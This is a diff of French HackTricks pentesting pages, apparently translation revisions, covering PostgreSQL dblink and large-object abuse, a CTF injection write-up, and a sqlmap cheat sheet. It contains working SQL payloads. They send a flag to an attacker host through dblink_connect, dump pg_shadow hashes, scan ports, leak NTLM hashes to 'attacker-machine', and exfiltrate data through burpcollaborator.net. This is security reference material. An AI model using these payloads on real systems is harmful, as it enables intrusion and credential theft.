18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
|
18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
|
||||||
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
|
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
|
||||||
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
|
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
|
||||||
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
|
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
|
||||||
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
|
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
|
||||||
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
|
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
|
||||||
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
|
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
|
||||||
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
|
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
|
||||||
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
|
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
|
||||||
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
|
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
|
||||||
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
|
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
|
||||||
|
|
||||||
.....
|
.....
|
||||||
.....
|
.....
|
||||||
.....
|
.....
|
||||||
```
|
```
|
||||||
Nous avons une série d'`oid`s. Nous pouvons essayer d'utiliser `lo_get` pour charger le contenu de l'objet. Par exemple, `lo_get(16439)` chargera le contenu de `/etc/passwd`. Comme le résultat de `lo_get` est `bytea`, nous devons le convertir en `UTF8` pour qu'il puisse être ajouté à la requête.
|
Nous avons obtenu un ensemble d'`oid`. Nous pouvons essayer d'utiliser `lo_get` pour charger le contenu de l'objet. Par exemple, `lo_get(16439)` chargera le contenu de `/etc/passwd`. Comme le résultat de `lo_get` est `bytea`, nous devons le convertir en `UTF8` pour qu'il puisse être ajouté dans la requête.
|
||||||
|
|
||||||
Nous pouvons essayer de charger certains objets avec les plus petits `oid`s pour savoir si le fichier de drapeau a été chargé auparavant. L'objet de fichier de drapeau existe avec l'`oid` 16444. Il n'y a pas d'espaces dans le drapeau, donc nous pouvons simplement l'afficher tel quel.
|
Nous pouvons essayer de charger certains objets avec le plus bas `oid` pour découvrir si le fichier drapeau a été chargé auparavant. L'objet fichier drapeau existe bien avec l'`oid` 16444. Il n'y a pas d'espaces blancs dans le drapeau donc nous pouvons juste l'afficher tel quel.
|
||||||
|
|
||||||
Pour charger le drapeau:
|
Pour charger le drapeau :
|
||||||
```
|
```
|
||||||
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
|
||||||
```
|
```
|
||||||
#### Plus d'informations sur oid:
|
#### Plus d'infos sur oid :
|
||||||
|
|
||||||
* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
|
* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
|
||||||
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,74 +1,72 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Depuis **PostgreSQL 9.1**, l'installation de modules supplémentaires est simple. Les [extensions enregistrées telles que `dblink`](https://www.postgresql.org/docs/current/contrib.html) peuvent être installées avec [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
|
Depuis **PostgreSQL 9.1**, l'installation de modules supplémentaires est simple. [Les extensions enregistrées comme `dblink`](https://www.postgresql.org/docs/current/contrib.html) peuvent être installées avec [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) :
|
||||||
```sql
|
```sql
|
||||||
CREATE EXTENSION dblink;
|
CREATE EXTENSION dblink;
|
||||||
```
|
```
|
||||||
Une fois que vous avez chargé dblink, vous pourriez être en mesure d'effectuer quelques astuces intéressantes :
|
Une fois que vous avez chargé dblink, vous pourriez être capable de réaliser quelques astuces intéressantes :
|
||||||
|
|
||||||
## Élévation de privilèges
|
## Élévation de Privilèges
|
||||||
|
|
||||||
Le fichier `pg_hba.conf` pourrait être mal configuré, **permettant des connexions** depuis **localhost en tant que n'importe quel utilisateur** sans avoir besoin de connaître le mot de passe. Ce fichier peut généralement être trouvé dans `/etc/postgresql/12/main/pg_hba.conf` et une mauvaise configuration ressemble à :
|
Le fichier `pg_hba.conf` pourrait être mal configuré **permettant des connexions** depuis **localhost en tant que n'importe quel utilisateur** sans avoir besoin de connaître le mot de passe. Ce fichier se trouve typiquement dans `/etc/postgresql/12/main/pg_hba.conf` et une mauvaise configuration ressemble à :
|
||||||
```
|
```
|
||||||
local all all trust
|
local all all trust
|
||||||
```
|
```
|
||||||
_Notez que cette configuration est couramment utilisée pour modifier le mot de passe d'un utilisateur de la base de données lorsque l'administrateur l'oublie, vous pouvez donc parfois la trouver._\
|
_Notez que cette configuration est couramment utilisée pour modifier le mot de passe d'un utilisateur de la base de données lorsque l'administrateur l'oublie, donc parfois vous pouvez la trouver._\
|
||||||
_Notez également que le fichier pg\_hba.conf n'est lisible que par l'utilisateur et le groupe postgres et qu'il n'est modifiable que par l'utilisateur postgres._
|
_Notez également que le fichier pg\_hba.conf est lisible uniquement par l'utilisateur et le groupe postgres et modifiable uniquement par l'utilisateur postgres._
|
||||||
|
|
||||||
Ce cas est **utile si** vous avez **déjà** un **accès shell** sur la victime, car cela vous permettra de vous connecter à la base de données postgresql.
|
Ce cas est **utile si** vous avez **déjà** un **shell** sur la victime car cela vous permettra de vous connecter à la base de données postgresql.
|
||||||
|
|
||||||
Une autre configuration incorrecte possible consiste en quelque chose comme ceci :
|
Une autre mauvaise configuration possible consiste en quelque chose comme ceci :
|
||||||
```
|
```
|
||||||
host all all 127.0.0.1/32 trust
|
host all all 127.0.0.1/32 trust
|
||||||
```
|
```
|
||||||
Comme cela permettra à tout le monde depuis l'hôte local de se connecter à la base de données en tant que n'importe quel utilisateur.\
|
Comme cela permettra à tout le monde depuis le localhost de se connecter à la base de données en tant que n'importe quel utilisateur.\
|
||||||
Dans ce cas et si la fonction **`dblink`** fonctionne, vous pourriez **escalader les privilèges** en vous connectant à la base de données via une connexion déjà établie et accéder à des données auxquelles vous ne devriez pas avoir accès:
|
Dans ce cas et si la fonction **`dblink`** est **opérationnelle**, vous pourriez **élever vos privilèges** en vous connectant à la base de données via une connexion déjà établie et accéder à des données auxquelles vous ne devriez normalement pas avoir accès :
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM dblink('host=127.0.0.1
|
SELECT * FROM dblink('host=127.0.0.1
|
||||||
user=postgres
|
user=postgres
|
||||||
dbname=postgres',
|
dbname=postgres',
|
||||||
'SELECT datname FROM pg_database')
|
'SELECT datname FROM pg_database')
|
||||||
RETURNS (result TEXT);
|
RETURNS (result TEXT);
|
||||||
|
|
||||||
SELECT * FROM dblink('host=127.0.0.1
|
SELECT * FROM dblink('host=127.0.0.1
|
||||||
user=postgres
|
user=postgres
|
||||||
dbname=postgres',
|
dbname=postgres',
|
||||||
'select usename, passwd from pg_shadow')
|
'select usename, passwd from pg_shadow')
|
||||||
RETURNS (result1 TEXT, result2 TEXT);
|
RETURNS (result1 TEXT, result2 TEXT);
|
||||||
```
|
```
|
||||||
**Trouvez** [**plus d'informations sur cette attaque dans cet article**](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.**
|
**Trouvez** [**plus d'informations sur cette attaque dans ce document**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.**
|
||||||
|
|
||||||
## Balayage de ports
|
## Balayage de Ports
|
||||||
|
|
||||||
En abusant de `dblink_connect`, vous pouvez également **rechercher des ports ouverts**. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser `dblink_connect_u()`** car la documentation indique que _`dblink_connect_u()` est identique à `dblink_connect()`, sauf qu'il permettra aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification_.
|
En abusant de `dblink_connect`, vous pourriez également **rechercher des ports ouverts**. Si cette **fonction ne fonctionne pas, vous devriez essayer d'utiliser `dblink_connect_u()`** car la documentation indique que _`dblink_connect_u()` est identique à `dblink_connect()`, sauf qu'elle permettra aux non-superutilisateurs de se connecter en utilisant n'importe quelle méthode d'authentification_.
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM dblink_connect('host=216.58.212.238
|
SELECT * FROM dblink_connect('host=216.58.212.238
|
||||||
port=443
|
port=443
|
||||||
user=name
|
user=name
|
||||||
password=secret
|
password=secret
|
||||||
dbname=abc
|
dbname=abc
|
||||||
connect_timeout=10');
|
connect_timeout=10');
|
||||||
//Different response
|
//Different response
|
||||||
// Port closed
|
// Port closed
|
||||||
RROR: could not establish connection
|
RROR: could not establish connection
|
||||||
DETAIL: could not connect to server: Connection refused
|
DETAIL: could not connect to server: Connection refused
|
||||||
Is the server running on host "127.0.0.1" and accepting
|
Is the server running on host "127.0.0.1" and accepting
|
||||||
TCP/IP connections on port 4444?
|
TCP/IP connections on port 4444?
|
||||||
|
|
||||||
// Port Filtered/Timeout
|
// Port Filtered/Timeout
|
||||||
ERROR: could not establish connection
|
ERROR: could not establish connection
|
||||||
|
@ -82,11 +80,11 @@ DETAIL: timeout expired
|
||||||
ERROR: could not establish connection
|
ERROR: could not establish connection
|
||||||
DETAIL: received invalid response to SSL negotiation:
|
DETAIL: received invalid response to SSL negotiation:
|
||||||
```
|
```
|
||||||
Notez que **avant** de pouvoir utiliser `dblink_connect` ou `dblink_connect_u`, vous devrez peut-être exécuter:
|
Notez que **avant** de pouvoir utiliser `dblink_connect` ou `dblink_connect_u`, vous devrez peut-être exécuter :
|
||||||
```
|
```
|
||||||
CREATE extension dblink;
|
CREATE extension dblink;
|
||||||
```
|
```
|
||||||
## Chemin UNC - Divulgation de hachage NTLM
|
## Chemin UNC - divulgation de hash NTLM
|
||||||
```sql
|
```sql
|
||||||
-- can be used to leak hashes to Responder/equivalent
|
-- can be used to leak hashes to Responder/equivalent
|
||||||
CREATE TABLE test();
|
CREATE TABLE test();
|
||||||
|
@ -96,10 +94,10 @@ COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
|
||||||
```sql
|
```sql
|
||||||
-- to extract the value of user and send it to Burp Collaborator
|
-- to extract the value of user and send it to Burp Collaborator
|
||||||
CREATE TABLE test(retval text);
|
CREATE TABLE test(retval text);
|
||||||
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
|
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
|
||||||
DECLARE sqlstring TEXT;
|
DECLARE sqlstring TEXT;
|
||||||
DECLARE userval TEXT;
|
DECLARE userval TEXT;
|
||||||
BEGIN
|
BEGIN
|
||||||
SELECT INTO userval (SELECT user);
|
SELECT INTO userval (SELECT user);
|
||||||
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
|
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
|
||||||
EXECUTE sqlstring;
|
EXECUTE sqlstring;
|
||||||
|
@ -109,16 +107,14 @@ SELECT testfunc();
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -19,14 +17,14 @@
|
||||||
|
|
||||||
## Générique
|
## Générique
|
||||||
```bash
|
```bash
|
||||||
-u "<URL>"
|
-u "<URL>"
|
||||||
-p "<PARAM TO TEST>"
|
-p "<PARAM TO TEST>"
|
||||||
--user-agent=SQLMAP
|
--user-agent=SQLMAP
|
||||||
--random-agent
|
--random-agent
|
||||||
--threads=10
|
--threads=10
|
||||||
--risk=3 #MAX
|
--risk=3 #MAX
|
||||||
--level=5 #MAX
|
--level=5 #MAX
|
||||||
--dbms="<KNOWN DB TECH>"
|
--dbms="<KNOWN DB TECH>"
|
||||||
--os="<OS>"
|
--os="<OS>"
|
||||||
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
|
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
|
||||||
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
|
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
|
||||||
|
@ -53,159 +51,24 @@
|
||||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||||
```
|
```
|
||||||
# Emplacement de l'injection
|
# Lieu d'injection
|
||||||
|
|
||||||
## À partir de la capture Burp/ZAP
|
## À partir de la capture Burp/ZAP
|
||||||
|
|
||||||
Capturez la requête et créez un fichier req.txt.
|
Capturez la requête et créez un fichier req.txt
|
||||||
```bash
|
```bash
|
||||||
sqlmap -r req.txt --current-user
|
sqlmap -r req.txt --current-user
|
||||||
```
|
```
|
||||||
## Injection de requête GET
|
## Injection de requête GET
|
||||||
|
|
||||||
### Basic Usage
|
|
||||||
|
|
||||||
### Utilisation de base
|
|
||||||
|
|
||||||
```
|
|
||||||
sqlmap -u "http://www.target.com/vuln.php?id=1" --dbms=mysql --level=5 --risk=3 --batch --threads=5
|
|
||||||
```
|
|
||||||
|
|
||||||
### Description
|
|
||||||
|
|
||||||
### Description
|
|
||||||
|
|
||||||
L'injection de requête GET est une technique d'injection SQL qui exploite les vulnérabilités des paramètres de requête GET d'une application Web. Cette technique est similaire à l'injection de requête POST, mais elle cible les paramètres de requête GET.
|
|
||||||
|
|
||||||
Lorsqu'un utilisateur soumet une requête GET, les paramètres de la requête sont inclus dans l'URL. Par exemple, dans l'URL suivante :
|
|
||||||
|
|
||||||
```
|
|
||||||
http://www.example.com/search.php?query=example
|
|
||||||
```
|
|
||||||
|
|
||||||
Le paramètre de requête est `query` et sa valeur est `example`.
|
|
||||||
|
|
||||||
L'injection de requête GET peut être utilisée pour extraire des informations sensibles de la base de données de l'application Web, telles que des noms d'utilisateur, des mots de passe et des données personnelles. Elle peut également être utilisée pour modifier les données de la base de données ou pour exécuter des commandes à distance sur le serveur.
|
|
||||||
|
|
||||||
### Exemple
|
|
||||||
|
|
||||||
Considérons l'URL suivante :
|
|
||||||
|
|
||||||
```
|
|
||||||
http://www.example.com/vuln.php?id=1
|
|
||||||
```
|
|
||||||
|
|
||||||
Nous pouvons utiliser sqlmap pour tester si le paramètre `id` est vulnérable à une injection de requête GET :
|
|
||||||
|
|
||||||
```
|
|
||||||
sqlmap -u "http://www.example.com/vuln.php?id=1" --dbms=mysql --level=5 --risk=3 --batch --threads=5
|
|
||||||
```
|
|
||||||
|
|
||||||
Si le paramètre `id` est vulnérable, sqlmap affichera les informations de la base de données et les données sensibles qu'il a pu extraire.
|
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com/?id=1" -p id
|
sqlmap -u "http://example.com/?id=1" -p id
|
||||||
sqlmap -u "http://example.com/?id=*" -p id
|
sqlmap -u "http://example.com/?id=*" -p id
|
||||||
```
|
```
|
||||||
## Injection de requête POST
|
## Injection dans une requête POST
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Basic POST Request Injection
|
|
||||||
|
|
||||||
### Injection de requête POST basique
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### Example
|
|
||||||
|
|
||||||
#### Exemple
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /login HTTP/1.1
|
|
||||||
Host: example.com
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 20
|
|
||||||
|
|
||||||
username=admin&password=1234
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### SQLMap Command
|
|
||||||
|
|
||||||
#### Commande SQLMap
|
|
||||||
|
|
||||||
```
|
|
||||||
sqlmap -u "http://example.com/login" --data "username=admin&password=1234" --method POST
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### Explanation
|
|
||||||
|
|
||||||
#### Explication
|
|
||||||
|
|
||||||
In a POST request, the parameters are sent in the body of the request, instead of in the URL. To perform a POST request injection, we need to use the `--data` option in SQLMap to specify the parameters that we want to inject.
|
|
||||||
|
|
||||||
Dans une requête POST, les paramètres sont envoyés dans le corps de la requête, plutôt que dans l'URL. Pour effectuer une injection de requête POST, nous devons utiliser l'option `--data` dans SQLMap pour spécifier les paramètres que nous voulons injecter.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### Additional Options
|
|
||||||
|
|
||||||
#### Options supplémentaires
|
|
||||||
